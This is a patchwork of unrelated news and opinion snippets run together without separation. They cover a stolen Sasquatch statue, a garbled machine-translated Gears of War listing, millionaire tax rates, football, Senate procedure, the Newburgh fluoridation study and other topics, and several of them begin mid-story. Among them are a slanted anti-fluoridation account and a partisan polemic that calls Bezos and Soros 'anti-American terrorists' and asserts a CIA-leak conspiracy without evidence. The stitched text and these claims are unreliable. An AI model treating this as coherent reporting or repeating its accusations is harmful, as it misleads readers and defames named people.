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Four years ago, Ralph Spence's wife would've loved it if someone stole the gargantuan Sasquatch statue from their front yard.
Now, a few days after someone actually did, there's nothing funny about it -- even if it started as a practical joke played on a 61-year-old father by his two youngest sons.
"They called me up and said, 'You ain't going to believe what we have for you,' " Spence said.
So he stood in the doorway of his home in Delhi Township waiting for the punchline.
Previously, his children bought him miniature Buddha and gargoyle statues. But those gags paled in comparison to the 400-pound cement behemoth they unloaded into his yard four years ago.
"It took five guys to carry it in," Spence said. "My wife kind of hated it, but it grew on her. It became part of the family."
The family started to dress up the statue (they call him "Squatchy") for holidays.
On Labor Day, Spence equipped him with a hard hat and tool belt. For Veterans Day, it was camouflage.
"He's a legend around here in the neighborhood," Spence said.
On Saturday, he was stolen.
"They were all shocked. They're upset about it," Spence said. "It became something everybody laughed at. It was something where everyone was looking forward to seeing him dressed up."
So Delhi Township police are aiding in the search.
"Certainly, we've had some things taken in thefts that hold special meaning to its owners," said Lt. Joseph Macaluso. "But nothing like this."
For his part, Spence said he does not want to file charges against whoever took it.
"We just want him back," he said.
Anyone with information about "Squatchy" can contact the Delhi Township Police Department at 513-922-0060.
This 400-pound statue was stolen from its Delhi Township home over the weekend. (Photo: Provided/Delhi Township Police Department)
60 frames, dedicated servers, Gears 3 multiplayer characters, more.
The official Russian Gears of War website has accidentally shared details on the leaked Gears of War remaster for Xbox One.
The details were posted on the Gears of War 3 game page. And as of press time, they’re actually still there.
Get the information below.
About The plot of Gears of War is set in the midst of a desperate struggle of humanity with a horde of locusts – the nightmarish creatures to the surface from the bowels of the planet. Players will be able to feel yourself in the place of Marcus Fenix. Deprived of former honors war hero Marcus longs to redeem, commanding his troops in hot Svatko with fierce enemies from the depths of the planet. Features Adapted for Dolby 7.1 Surround
90 minutes of new content for the campaign mode of the original game for the PC
New achievements in Xbox LIVE (player account 1250)
Gallery sketches and comics available to unlock
Streamlined multiplayer mode: 60 frames per second Dedicated servers Selection of players for skills New types of games, “Team Fight”, “King of the Hill” (in the style of Gears of War 3) and the new 2 2 Destruction “Gnasherom.”
19 cards, including downloadable content and exclusive cards from the PC version
The ability to gain access to the 17 characters of Gears of War 3 multiplayer games
New features match the settings, including the choice of parameters of the active charge, renewal, revival and the emergence of an independent arms.
Streamlined gameplay more fluid movements and updated management system: Alternative control system and a brand new control scheme tournament All the control parameters are adapted for the Xbox One Added features from your favorite Gears of Wars 3: Marking enemy targets, the use of the device in a multiplayer game, improved sensitivity setting.
Release date of the original game: August 25, 2015 Platform: Xbox One
The Gears of War remaster is expected to be officially announced during tomorrow’s E3 Microsoft conference.
The report, by the nonpartisan Congressional Research Service, found that when all federal taxes are taken into account — including those on wages, investment income and corporate profits — some households earning more than $1 million a year paid as little as 24 percent of their income to the Internal Revenue Service in 2006.
That’s substantially less than the share paid by many families making less than $100,000 a year that faced a top effective tax rate exceeding 26.5 percent, the report said.
All told, 94,500 millionaires paid a smaller share of their income in taxes than 10 million households with moderate incomes, the report found.
“Most Americans think millionaires ought to be paying a higher rate than middle-class taxpayers, not a lower one,” said Sen. Charles E. Schumer (D-N.Y.), who has long urged policymakers to raise taxes on the wealthiest households. “This report increases the momentum for our proposal to ensure millionaires pay their fair share.”
The report offers the first government analysis of federal tax data since billionaire investor Warren Buffett, a former Washington Post Co. board member, complained that he pays a lower tax rate than the 20 employees in his office, who earn much less than he does. After Buffett wrote an op-ed in the New York Times, Obama argued that policymakers should overhaul the tax code to ensure that millionaires pay at least as large a share of their income in taxes as middle-class families do, a principle the president dubbed “the Buffett Rule.”
Late Tuesday, Senate Republicans rejected a variation on the Buffett Rule — a 5.6 percent surtax on income over $1 million — to cover the cost of Obama’s $447 billion jobs package.
Critics initially blasted the Buffett Rule, arguing that the average millionaire already pays a significantly higher effective tax rate than middle-class families do. The CRS report, by Thomas L. Hungerford, a specialist in public finance, found that to be true: Millionaires, on average, paid about 30 percent of their income in federal taxes, while households earning less than $100,000 paid closer to 19 percent.
But the averages hide wide variations within income categories, Hungerford wrote, with millionaires paying anywhere from 24 percent to more than 35 percent of their income in federal taxes. The lower tax bills are primarily the result of low tax rates on investment income, such as capital gains and dividends.
Although ordinary earnings are subject to payroll taxes as well as income tax rates as high as 35 percent, investment income — which constitutes the bulk of earnings for many very wealthy households — is taxed at no more than 15 percent.
“The current U.S. tax system violates the Buffett rule in that a large proportion of millionaires pay a smaller percentage of their income in taxes than [do] a significant proportion of moderate-income taxpayers,” Hungerford wrote, although “not to the extent alluded to by Mr. Buffett.”
Congressional Republicans have attacked the Buffett Rule, as well as the idea for a surtax on millionaires, as “class warfare.” They argue that raising taxes on millionaires would penalize many small businesses, the primary engine of U.S. job growth. They also oppose raising taxes on investment income, arguing that doing so would discourage savings and risk-taking.
The CRS report offers a withering rebuttal to both claims. Just 1 percent of tax returns with business income have adjusted gross income of more than $1 million a year, the report says, and those businesses are some of the least likely to create jobs.
“Many observers claim that small businesses are the primary creators of jobs,” Hungerford wrote, but “most of the research cited by these observers is from the 1980s. More recent research suggests that small businesses contribute only slightly more jobs than larger business.”
The main difference “appears to be due to hiring by new startup firms,” which “generally do not generate much business income in their first years in operation.” Consequently, higher taxes on millionaires are unlikely to affect them, the report says.
Trump Winery is trying to use the federal government's H-2 visa program to hire 29 seasonal farm workers from outside the United States, according to the Associated Press. This comes on the heels of them requesting to hire six farm workers in December and 23 farm workers in February.
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A local attorney who has worked with local vineyards that use the H-2A program told the AP: "It’s difficult to find people. People these days say there are no workers that will perform seasonal work like agriculture jobs, landscaping, entry level, low skill ... I think that’s an overstatement. I don’t think there are no people do to it, there’s just a deficiency of people to do it."
In order for an agricultural employer to try to hire H-2A workers, it must demonstrate to the Department of Labor that there are not enough qualified American workers who are willing and available to do the work. They also must have demonstrated reasonable efforts to hire American workers. Trump Winery, claims that they need workers to plant and cultivate vines, install grow tubes and prune grape vines, as well as perform general tasks related to operating the winery.
At Trump's Mar-a-Lago golf club, there's a similar demand for foreign workers. For the pricey club, the Trump organization claims that there aren't enough American workers to "wait on his guests, cook their food and clean their rooms during the winter high season in Florida," Quartz reported in February.
Two goals and a baby: Wigan player rushes from match to birth of his son
A professional footballer who was on the pitch when he was told that his wife’s waters had broken had time to score a goal before rushing to the hospital to be at the birth.
Ryan Colclough ran off down the tunnel shortly after scoring his second goal in Wigan Athletic’s 3-0 victory over Doncaster Rovers on Tuesday night. He made it to the hospital, still in full kit, 30 minutes before his wife Steph gave birth to a boy, completing a unique hat-trick for the winger.
“Just before I scored, I see my Dad over in the stands and he gave me the action like ‘the waters had broken’ so my head was a little bit battered,” he told BBC Radio Manchester on Wednesday.
“And then I went and scored and then I just looked at the manager and he said: ‘We’ll bring you off now,’ and I was straight down the tunnel and grabbed my keys and my phone.”
Wigan Athletic (@LaticsOfficial) 👶⚽️⚽️ Two goals for @ry_coco tonight! Subbed off and on his way to hospital as his partner has gone into labour!
🔵⚪️ #wafc pic.twitter.com/fR7r49v4dW
Colclough said he and his wife had seen the midwife earlier on Tuesday and had been told it would probably be a couple more days before the baby would arrive. Explaining his decision not to come off immediately on seeing his father’s gesture, he said: “The ball was in play.”
It had previously been reported that he was told at half-time that his wife was in labour.
Many fans only learned the reasons for Colclough’s dash down the tunnel after the match when Wigan’s assistant manager, Leam Richardson, revealed the news. “We’re all individuals – some of the players wouldn’t have gone, they’d be still in the dressing room now,” he quipped.
A picture of Colclough, still in his kit, holding his 8lb 6oz newborn son, Harley Thomas Colclough, was later posted on Twitter by the Wigan chairman, David Sharpe.
David Sharpe (@DavidSharpe91) Congrats to Ryan Colclough who scored a brace tonight in our win before being substituted to make it in time to see the birth of his son! 👏🏼 pic.twitter.com/Efvjk9P3sw
Colclough tweeted: “What a great result and team effort from all the boys. I’m so happy to mark the birth of my second son with two goals and the win, he made it a hat-trick for me! Appreciate the messages! #UpTheTics.”
Headed by a board of 6 LLC members, the company coordinates the year-round, behind-the-scenes work needed to build and remove a temporary city of more than 69,000 participants.[3]
Event ticket sales provide a multimillion-dollar budget for the organization. These revenues help the organization obtain required permits from the Bureau of Land Management, rent portable toilets and equipment, secure medical, fire, and law enforcement services, and cover other organizational expenses. The organization also holds a title to a nearby ranch in Hualapai Valley, Washoe County, Nevada, purchased in 2001 for $70,000 to use as a staging area.[4]
Notes [ edit ]
Ben Whishaw has confirmed speculation that he is gay and happily married to composer Mark Bradshaw. The pair tied the knot in Sydney in 2012, and will celebrate their first anniversary this month.
The Skyfall star had never spoken publicly about his sexuality before, insisting that he wanted to remain quiet about his private life.
However, his spokesperson has today confirmed to the Daily Mail that he and Mark are “very happy” together.
“Ben has never hidden his sexuality, but like many actors he prefers not to discuss his family or life outside of his work,” the rep said.
“Due to speculation, I can confirm that Ben and Mark entered into a civil partnership in August 2012. They were proud to do so and are very happy.”
And a friend of the couple added: “Everyone’s delighted for them. Mark’s a lovely guy, very talented and very close to Jane Campion. There hasn’t been a chance for a big celebration because of Ben’s schedule but I’m sure there will be one at some point.”
The pair met on the set of the film Bright Star, based on poet John Keats’s affair and death. Bradshaw composed the score.
In 1955, ten years into the experiment, researchers reported more bone defects, anemia and earlier female menstruation in children purposely dosed with sodium fluoride-laced drinking water (1956 Journal of the American Dental Association). This is the first, and only, fluoridation human health experiment which was carried out on the entire population in the city of Newburgh NY.
How did this happen?
n the early 1900’s, brown and yellow discolored, but decay resistant, teeth were prevalent in healthier, wealthier U.S. populations drinking and irrigating their crops with naturally calcium-fluoridated water.
Researchers discovered fluoride was the tooth discoloring culprit and mistakenly thought fluoride was also the cavity-fighting hero – unaware that calcium was required to grow sound dentition. And also unaware of Dentist Weston Price’s extensive research published in 1939 showing that without fluoride, healthier populations had healthier teeth because of good diets.
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Public health officials, so sure sodium fluoride safely benefited children’s teeth, had no misgivings about carrying out this very unusual experiment without first doing animal studies, without informed consent and without thought or interest about how sodium fluoride could afflict adults.
Mistakenly assuming all fluorides are the same, in 1945, sodium fluoride, waste products from industries such as Alcoa Aluminum Company (not natural calcium-fluoride), was added to Newburgh NY’s water supply at about one milligram fluoride per liter of water. Kingston NY, the control city for comparison purposes, was left fluoride-free.
Kingston and Newburgh are thirty-five miles apart on the Hudson River in New York State and in 1940 had populations of 31,956 and 28,817, respectively. In Newburgh, 500 children were examined after ten years and 405 in Kingston. Adults were never tested.
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“(R)outine laboratory studies were omitted in the control group during most of the study, they were included in the final examination,” according to Schlesinger and colleagues, in “Newburgh-Kingston caries-fluorine study XIII. Pediatric findings after ten years.”
The researchers report after ten years of fluoridation in Newburgh New York:
-- “The average age at the menarche was 12 years among the girls studied in Newburgh and 12 years 5 months among the girls in Kingston.”
--Hemoglobin (iron-containing part of a red blood cell): “a few more children in the range below 12.9 grams per hundred milliliters in Newburgh”
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WASHINGTON (Reuters) - President Barack Obama vetoed a sweeping $612 billion defense policy bill on Thursday, returning the measure to the Republican-controlled Congress because of the way it uses money meant for war spending to avoid automatic budget cuts to military programs.
"I'm going to be sending it back to Congress and my message to them is very simple: 'Let's do this right,'" Obama told reporters.
"We're in the midst of budget discussions. Let's have a budget that properly funds our national security as well as economic security," he said.
Obama also said he disagreed with provisions in the National Defense Authorization Act (NDAA) that would have limited his ability to close the Guantanamo Bay detention center before he leaves office in January 2017.
"Guantanamo is one of the premier mechanisms for jihadists to recruit," he told reporters at a rare White House veto signing ceremony.
"It's time for us to close it. It's outdated, it's expensive, it's been there for years. We can do better in terms of keeping Americans safe while making sure that we are consistent with our values," he said.
Closing the controversial military prison camp was a main promise of Obama's first presidential campaign, in 2008.
Obama and many of his fellow Democrats want a broader budget deal that would address mandatory cuts in domestic spending rather than only providing more funds for the Pentagon.
Republicans argue that the military should be spared many of the so-called sequestration budget cuts to ensure national security. They accuse Democrats of using the issue to camouflage a desire for irresponsible domestic spending.
"By placing domestic politics ahead of our troops, President Obama has put America's national security at risk," John Boehner, the Republican speaker of the House of Representatives, said in a statement.
Republicans have vowed to override the veto, only the fifth of Obama's presidency, which would require two-thirds majorities in both the House and Senate.
Nancy Pelosi, the House Democratic leader, insists the House will sustain it.
Under congressional rules, the House will consider the veto before the Senate. A vote has been scheduled for Nov. 5.
Democrats insisted a better NDAA would pass easily if the veto is sustained.
"Hopefully we can work together to pass a more balanced and responsible NDAA that truly provides our troops with the resources and budget stability they need," said Senator Jack Reed, the top Senate Armed Services Committee Democrat.
Great Hera, this is some awesome casting news. Nikita star Maggie Q has lassoed the role of Wonder Woman in the Cartoon Network series Young Justice. Though the character has been seen in the background of past episodes of the superhero show, she will have her first speaking part in the March 24 episode ("Agendas").
Taking the role was a no-brainer for Maggie Q. "In my head I am her," she says with a laugh. "No stretch there. When I was a kid, I used to dress up as her. I couldn't afford a costume, so I would make her headband, wristbands and the lasso out of paper and tape it to myself. And [I'd] run around, climb up roofs and try to jump off them." She was inspired by Lynda Carter's iconic performance as the Amazon warrior in the 1970s live-action Wonder Woman series. "As kitsch as it was, it still had that concept of woman power," she says. "To me, as a young girl, that was more interesting than being pretty or being popular. Being strong, to me, was cool."
Young Justice focuses on a group of sidekick heroes (including Robin, Kid Flash, Aqualad and Miss Martian) who are mentored by their elders in the Justice League. The roster includes a bounty of iconic DC Comics characters, including "the big three" — Superman, Batman and Wonder Woman — as well as cult favorites like Aquaman, Black Canary and Green Lantern. The first season has focused on a mysterious cabal of villains targeting the League. In next Saturday's episode, the team meets to recruit new members to help bolster their ranks. The episode includes other celebrity castings, including Chad Lowe as Captain Marvel, CSI's George Eads as the Flash and Suburgatory's Alan Tudyk as Green Arrow.
This was Maggie Q's first real voiceover role, and she loved it. "There is nothing cooler than having lines like, 'Batman, the fate of the world is upon us,'" she says. "Who gets to say that? And who gets to say that in a deep, earnest, amazingly sexy way? And to have a bunch of hot men in costumes at a table listening to you. There's really nothing better."
Young Justice airs Saturdays at 10:30am/9:30c as part of Cartoon Network's DC Nation block.
The Rams controlled the majority of the contest, but the visitors edged the clear-cut chances department as Will Grigg, particularly, went closest to breaking the deadlock – hitting the post with one effort, before also being thwarted by Scott Carson after racing through on goal.
The second half boiled down to whether Steve McClaren’s side could find a way through the Wigan brick wall, but the visitors were at their defensive best to arrest their five-game losing streak and prevent Derby from securing a ninth win in 10 outings.
The point, however, kept the Rams within touching distance of the coveted top six going into Monday’s clash with Norwich City in East Anglia.
Ahead of this meeting, the message had been clear from within the Derby camp – Wigan were ‘dangerous’ opponents.
The first half very much typified why such a statement was made. McClaren’s men held total control, without holding controlling at all.
In terms of possession and territorial advantage, sure this was the case. This was very much an attack versus defence training exercise – one to the extent where all ten of the Rams’ outfield players spent a large period of time in the Wigan half, pulling the visitors’ backline and midfield one way and then the other in search of a way through to Jussi Jääskeläinen’s goal.
The Latics’ goal was far from living a charmed life, however. Johnny Russell screwed a shot with his weaker foot wide, whilst Tom Ince saw an effort deflected into the arms of the Wigan goalkeeper after marauding into the area.
Despite all their control of the ball, Warren Joyce’s side looked a threat on the counter attack and created the game’s best chances through it.
Will Grigg had the alarm bells ringing on a couple of occasions, particularly when he hit the post on 11 minutes after directing a deep corner across goal, whilst Scott Carson, who signed for
Derby from Wigan, had to be alert to turn behind a goal bound Michael Jacobs header after meeting Stephen Warnock’s cross from the left.
At the back, Jake Buxton and Dan Burn were immovable and won everything in the air as the Rams continued to be frustrated and they could have found themselves behind on the half hour mark after Grigg seized on a wayward pass from Hughes.
A constant menace with his pace, the Northern Ireland international forward raced towards goal and away from the Derby backline, but was thwarted by another important Carson stop.
From there, McClaren’s side enjoyed their best spell of the half as they began to threaten a goal.
Russell blazed over the hosts’ best opportunity after Ikechi Anya, making his first start since the middle of October, tricked his way into the penalty area, but despite other ventures forward there was still no way through the Wigan wall.
The second half followed the same pattern, but aside from an early Jordi Gomez shot that flew over the crossbar it was Derby asking all of the questions.
After Jacob Butterfield saw an effort deflected into the arms of Jääskeläinen, McClaren decided to twist and two early changes as Abdoul Camara and Craig Bryson were introduced to add more bite to the midfield.
After the hour, Ince saw a free kick clawed away for a corner by Jääskeläinen, but that was the closest they came to breaking the deadlock and securing a ninth win in ten games.
McClaren’s men huffed and puffed, but just could not find a way through as they were stopped from finding the net for the first time since the end of October and Wigan arrested their five-game losing streak to collect a valuable point on the road.
Derby County: Carson, Baird, Keogh (C), Pearce, Anya; Johnson, Butterfield (Bryson, 59), Hughes; Ince, Russell (Camara, 59), Bent (Vydra, 73)
Substitutes not used: Mitchell, Shackell, Weimann, Hanson
Wigan Athletic: Jääskeläinen, Buxton, Power, Grigg (Le Fondre, 83), Kellett (Byrne, 74), Gomez, MacDonald, Jacobs, Warnock (C), Wildschut (Flores, 88), Burn
Substitutes not used: Lavercombe, Davies, Flores, Burke, Barrigan
For decades now, the Washington Post and New York Times have been read only by left-wing minions of the Democrat Party. Both are well-known propaganda machines of the far left in America. But the situation changed for the worse in 2016, when Trump became the 45th President of the United States.
Jeffrey P. Bezos formally took over as the owner of The Washington Post in 2013, officially ending 80 years of local control of the newspaper by the Graham family.
Bezos’s $250 million purchase was completed as expected with the signing of sale documents. The signing transfers the newspaper and other assets from The Washington Post Co. to Nash Holdings, Bezos’s private investment company.
Jeff Bezos has been funding left-wing politicians and causes ever since becoming wealthy with his Amazon online retail establishment, which has been responsible for closing the doors of thousands of small independent retailers and even major national retail chains across the country.
Second only to George Soros, Bezos, who owns WAPO The Washington Post, which is ground zero for almost every negative “fake news” attack column against President Trump since 2013 – is the single largest financier of left-wing causes and the anti-Trump propaganda hitting our headlines every single day.
Other left-wing “fake news” outlets then pick up these stories and run with them, regardless of all facts and evidence to the contrary, quoting WAPO as their “source” to maintain a defensible position against libel and slander suits by saying “we only reported on the WAPO reports.” BINGO… the “fake news” spreads across news outlets like a raging prairie fire out of control.
In February 2017, after losing the presidential election with Hillary Clinton, John Podesta joins WAPO as a “contributing columnist.” When in his career has John Podesta ever been a journalist, columnist or news reporter?
Since graduating Lane Tech High School in Chicago, Knox College in Galesburg, Illinois in 1971, where he had served as a volunteer for the presidential candidacy of Eugene McCarthy – and receiving his J.D. from Georgetown University Law Center in 1976, Podesta has spent his entire life at the highest levels of anti-American left-wing politics with both the Clintons and Obamas, among many others.
Still wondering where the “fake news” headlines are coming from at WAPO? Read on…
“According to an unsubstantiated article by the Washington Post, anonymous CIA officials have confirmed that the Russian government hacked the United States election to favor Donald Trump.” December 2016
According to WAPO reports, they have been gaining their “fake news” information from “unnamed CIA leakers.”
However, we are seeing more Washington DC leaks than a kitchen colander. Can they all be coming from CIA operatives working against America?
Almost EVERY federal agency is full of anti-American employees that donate almost exclusively to Clinton, Obama and every left-wing cause under George Soros’ more than 200 NGOs (non-governmental agencies).
These are the Federal Employee campaign donations for the 2016 election cycle
SOURCE HERE
What the above chart shows is 90% of Federal Employee Union members and 83.8% of all Federal Employees are anti-Trump and every last one of them could be a “leaker” working to undermine the Trump Administration and 63 million Americans who voted for him.
In addition, the far left has massive boots on the ground through more than 200 NGOs – and billions in funding behind them from anti-American terrorists like George Soros of Open Society, Jeffrey Bezos of Amazon and the Washington Post and the foundations of Peter Lewis of Progressive Insurance, the Clintons and Obamas.
Furthermore, many of these NGOs enjoy tax-exempt and deductible status with the I.R.S. and therefore, are heavily funded by our tax dollars.
Last, but not least on this matter, Amazon and Washington Post owner Jeffrey Bezos received a $600 million-dollar federal contract with the C.I.A. to create a “government cloud” for records storage and sharing, from which it appears, massive anti-Trump government leaks of even classified information may be coming from…
How much more do I need to connect the dots for you here?
Amazon’s Jeffrey Bezos owns the single largest database of consumers in America and has taken a $600 million-dollar contract with the C.I.A. (leakers) to build and manage their “cloud” – while owning the Washington Post (WAPO) at ground zero for all current security leaked “fake news” stories aimed at destroying Trump… and, Clinton campaign manager John Podesta is now a contributing columnist for Bezos’ WAPO.
Still wondering where all the “fake news” stories against Trump are coming from, how or why? Look no further!
Still plan on shopping with Amazon.com or reading the Washington Post or any of the dozens of news outlets spreading the false propaganda by quoting the WAPO?
Amazing!
© 2017 JB Williams – All Rights Reserved
Citing "people familiar with the matter," the Wall Street Journal reported Tuesday that "[t]he SEC sought information and documents in August from Exxon as well as the company’s auditor, PricewaterhouseCoopers LLP. The federal agency has also been receiving documents that the company submitted as part of a continuing probe into similar issues begun last year by New York Attorney General Eric Schneiderman."
In addition to "examining Exxon's longstanding practice of not writing down the value of its oil and gas reserves when prices fall," the federal probe "is also homing in on how Exxon calculates the impact to its business from the world's mounting response to climate change, including what figures the company uses to account for the future costs of complying with regulations to curb greenhouse gases as it evaluates the economic viability of its projects," the Journal reported.
Reporters Bradley Olson and Aruna Viswanatha said the investigation "represents an escalation of the legal questions Exxon faces over its past and future response to climate change." Further, they observe that the probe "may also signal the opening of a new front of climate-related regulation and enforcement at the SEC, a direction with far-reaching consequences for the oil and gas industry."
Environmental activist and 350.org co-founder Bill McKibben agreed that this marked "a remarkably important development" in the effort to hold the world's largest publicly traded oil and gas company accountable for decades of suppressing scientific evidence related to global warming.
"This investigation marks a moment of reckoning for the corporation. Coupled with attorneys general investigations into Exxon's campaign of climate denial, the SEC's probe means the corporation's days of deception are numbered."
—Katherine Sawyer, Corporate Accountability International
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"The federal government is joining the courageous state attorneys general, and they're all following the trail of clues that began with powerful investigative journalism," McKibben said, referencing reporting by the Los Angeles Times and Inside Climate News which first brought what is now known as the #ExxonKnew scandal to the public's attention. "Before they're done we'll understand considerably more about how the world overheated—but in the meantime, every institution that invests in Exxon should take real note of who you're keeping company with."
Annie Leonard, executive director of Greenpeace USA, also welcomed the news.
"Exxon’s current market valuation is partly based on its proven reserves," explained Leonard, "a giant bank of already discovered oil and gas deposits that it plans to someday exploit and sell. But in a world where we successfully tackle climate change, many of those assets would be left in the ground. Investors have a right to understand how Exxon’s profitability and value are threatened by common sense policies to address climate change, and the SEC seems to agree."
"Right now Exxon is betting everything it has on the failure of the world to solve the climate crisis; the SEC has a chance to expose how weak Exxon’s hand really is," she said.
"Millions of people around the globe have long demanded action to hold Exxon accountable," said Corporate Accountability International senior international organizer Katherine Sawyer. "This investigation marks a moment of reckoning for the corporation. Coupled with attorneys general investigations into Exxon's campaign of climate denial, the SEC's probe means the corporation's days of deception are numbered."
But is it? The short answer is, no. It’s just another excuse by Republican leadership to be, you guessed it, lazy.
Here’s why.
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In 2013 and again in 2016, the filibuster was eliminated for nominations. This means that 60 votes are no longer required to get to a confirmation vote. However, the cloture requirement still exists. That is, the Senate must achieve cloture (with a simple majority) before they are able to vote on a nomination.
Cloture comes with a waiting game, in the form of, at most, 30 hours. These hours are allowed for debate, and must transpire in between achieving cloture, and voting to confirm the nomination.
The first thing to know about cloture is that each senator is only allowed to give two speeches. And the two speeches cannot total more than one hour.
The second thing to know is that 30 hours is the maximum time for debate. It can be far less, for example, if 30 Democrat senators don’t use all their time for debate.
However, it’s been the complaint of Republicans this year that Democrats are hell-bent on running all 30 hours, which is intended to limit the number of nominees that Republicans can process to no more than four or five a week.
What does "running" for 30 hours look like? In the Lazy Senate, it looks the same as the Senate doing nothing.
The hours are intended to allow senators to debate, but no debate happens. Quite literally, absolutely nothing happens. The Senate floor sits empty, locked into an endless quorum call.
What goes on in the 30 hours — what does happen, and what could actually happen — is the difference between a lazy Senate, and a Senate that wants to do the work necessary to get its president’s nominees confirmed.
So what could actually be happening?
Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellWhite House pleads with Senate GOP on emergency declaration Senate Dems seek to turn tables on GOP in climate change fight Pence meets with Senate GOP for 'robust' discussion on Trump declaration MORE (R-Ky.) could force Democrats to speak for all 30 hours, post-cloture.
Recall the two fundamental facts about cloture: senators can only speak twice, and both speeches can total no more than an hour.
Currently, McConnell is not enforcing these rules. He’s not forcing the Democrats to actually talk for 30-hours, he’s allowing them to delay confirmation of Trump’s nominees. For free.
Instead of simply rolling over and letting Democrats off easy, McConnell should make them work for it. He should make them talk for all 30 hours.
Now consider if McConnell did this in the middle of the night, over the weekend. Do you think the Democrats will be able to produce 30 senators after midnight on a Saturday? How about at 4 in the morning? Maybe, if they’re determined, Democrats could pull it off for the first nominee. But what about the second, or the third, or the tenth?
At that point, I’d bet five dollars and a ham sandwich that Democrats would be more than willing to allow McConnell to collapse the 30 hours, especially since they have 23 senators who need to go home and campaign for re-election next year, and Republicans only have six.
Even if Democrats don’t agree to collapse the time, they’ll still have to produce 30 different senators to “run” all 30 hours. If they cannot, under the rules, the Senate immediately moves to a vote. Those 30 hours become 10, or five, or two.
Former Senate majority leader Trent Lott (R-Miss.) keenly observed that there are “only two rules in the U.S. Senate — exhaustion and unanimous consent. And the second rule only applies when the first has been reached.”
Unlike the current Senate, the Lott Senate knew that consensus can be reached, but sometimes it takes a hard-working majority to outlast the will of a determined minority.
If the McConnell Senate wants to be remembered for anything other than a distinguished record of unaccomplishment, they’ve got to start working.
My WFMU colleague Jeffrey Cobb once said that if Beatles were a language, Los Shakers would be exceedingly fluent in said tongue. That, however, is in pronounced contrast to the language they actually sang in, which was a charmingly imperfect English. Yet the magical spell Los Shakers cast is so potent that the odd idiomatically suspect phrase or mangled pronunciation or clunky grammar is sloughed off like dandruff from a mangy moptop.
Bombardier has plans to lay off 7,000 workers over the next two years. ( Dick Loek )
Mark Masluch, spokesman for Bombardier business jets, said the layoffs are a continuation of the “workforce optimization” plan being implemented across the company. Bombardier has said that up to 2,000 of the cuts, mainly in Canada and Europe, will be contractors. Masluch said the company has taken time to ensure it can meet commitments to customers, and to evaluate how many of the job cuts can be mitigated by retirements or other efforts.
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The union representing machinists said the uncertainty about efforts to save jobs is creating frustration for workers. It warned last October that 10,000 Quebec aerospace jobs are at risk. Union representative David Chartrand said that despite handing over US$1 billion, the province didn’t seek any guarantees to protect existing workers, while Ottawa helped Air Canada by removing measures to protect Quebec maintenance jobs. The layoffs come as Bombardier continues to press Ottawa for US$1 billion in funding.
Village Bottle Shop & Tasting Room is slated for a late spring opening in a modern, industrial space at the upcoming Salt dining and retail complex. Driving the concept are two craft beer veterans: Tim Golden, a well-known connoisseur who writes the popular Beer in Hawaii blog, and Daryn Ogino, a partner at Pint + Jigger.
The two teamed up after a serendipitous meeting a few years ago. They realized they not only shared a passion for craft beers, but had both experienced the beer scenes in other cities and had similar visions of what they could create in Hawaii. “We’re deeply passionate about beer, and this is almost a selfish venture. We want to open a shop we want to shop at,” Golden said.
The beer store/cafe concept has already exploded in other cities, with hot spots like San Francisco’s City Beer Store and Oakland’s Beer Revolution. For Village, Golden and Ogino chose Salt for its urban, up-and-coming environment close to other restaurants and businesses.
Their vision: a comfortable place where beer lovers can go solo or with friends at any time of the day and enjoy a draft or pay a small corkage fee to sample a refrigerated bottle from the shop. Seating for 50 will include a 16-foot communal table, similar to what’s offered in Europe.
An antithesis to the rowdy, late-night beer bar, Village is being shaped as its introspective brother, relaxed and more thoughtful. “It’s not a full-blown bar, but a beer cafe, where you can bring a book or laptop and casually taste beer,” Ogino said.
With a pedigree as a Certified Cicerone, Golden will curate the international, national and local beer selection, including various local breweries. Non-beer drinkers will have the option of six to eight draft wines. Village also will serve food, prepared by others off-site, like homemade savory and sweet pies from the new HiPie. Food can be brought in as well from other Salt eateries like Hank’s Haute Dogs.
“We’re excited to be part of a community — to have a very social environment and be a gathering place,” Golden said.
Village Bottle Shop & Tasting Room will be helming the beer presentation at Frolic’s upcoming Something New Salt preview party on Thursday, Feb. 4, from 6-8:30 p.m., at the new Salt complex, offering craft selections from Honolulu Beerworks, Maui Brewing Co., Waikiki Brewing Co. and Lanikai Brewing Company. HiPie, which will be part of the Village menu when it opens, will also be handing out samples of its chicken pot pie. Buy your tickets now! A $49 ticket includes all food, drinks, entertainment and parking.
Village Bottle Shop & Tasting Room
Salt at Our Kaka‘ako
333 Keawe St.
Opening late spring 2016
By David Swanson
15 November, 2013
Warisacrime.org
Germany had planned to buy a fleet of "Euro Hawk" killer drones -- perhaps in an effort to bring the European Union up to speed with certain other Nobel Peace laureates.
But something happened on the way to the celestial colosseum.
Of course, Captain Drone Man himself undoubtedly learned the news first, unless the NSA misplaced some of Frau Merkel's emails under a pile of exchanges among nonviolent activists planning the upcoming drone summit in DC.
What happened was public pressure within a nation dedicated to peace and -- at the moment -- more resistant than Japan to being turned back toward war. Germany has now said nein, nein, and hell nein to killer flying robots. And not just to the use of weaponized drones within what Americans might call Der Homeland, but to Germany's use of remote control murder planes against human beings anywhere on earth.
Earlier this month at the United Nations, several nations, including most prominently Brazil, denounced the criminality of murdering people around the globe with drones. Now Germany has taken a serious step in the direction of condemning armed drones to the status of land mines, poison gas, and nuclear weapons. If Germany can do it, we can all do it. And the scene in this video can go global:
David Swanson's new book is War No More: The Case for Abolition . He blogs at http://davidswanson.org and http://warisacrime.org and works for http://rootsaction.org . He hosts Talk Nation Radio . Follow him on Twitter: @davidcnswanson and FaceBook .
Those who illegally cross into the United States have more rights than a college student accused of rape, according to a George Washington University (GWU) law professor.
John Banzhaf, a public interest law professor at GWU, is calling attention to disparity within America’s judicial system after finding “dozens” of cases in which colleges forgo due process when handling students accused of sexual assault while those crossing into the United States illegally are still granted an impartial hearing.
"Rape is a crime and colleges shouldn’t be involved at all."
“Many colleges have not been very vigorous with combating date rape and if it’s not treated properly, the women complain,” Banzhaf said in an interview with Campus Reform. “One way to dramatize that is with the current debate over border regulation.”
Banzhaf, who helped get all charges dropped against three Duke lacrosse players in a highly contested and bitter case, claims that he first spotted what he calls a “trend” of students successfully suing their universities for improperly finding them guilty of date rape.
“With date rape, [college judiciary committees] particularly try to find out what exactly happened in that room,” Banzhaf told Campus Reform. “The need seems to be much greater [for that] in the case of date rape for protection.”
Banzhaf claims that colleges have abandoned that “very high standard of proof, particularly in cases of date rape,” despite the U.S. Supreme Court ruling that the Constitution requires due process protections.
“Rape is a crime and colleges shouldn’t be involved at all,” he said. “There are more and more individual cases where students are found guilty and suffered consequences are winning these cases [when they sue their school.]”
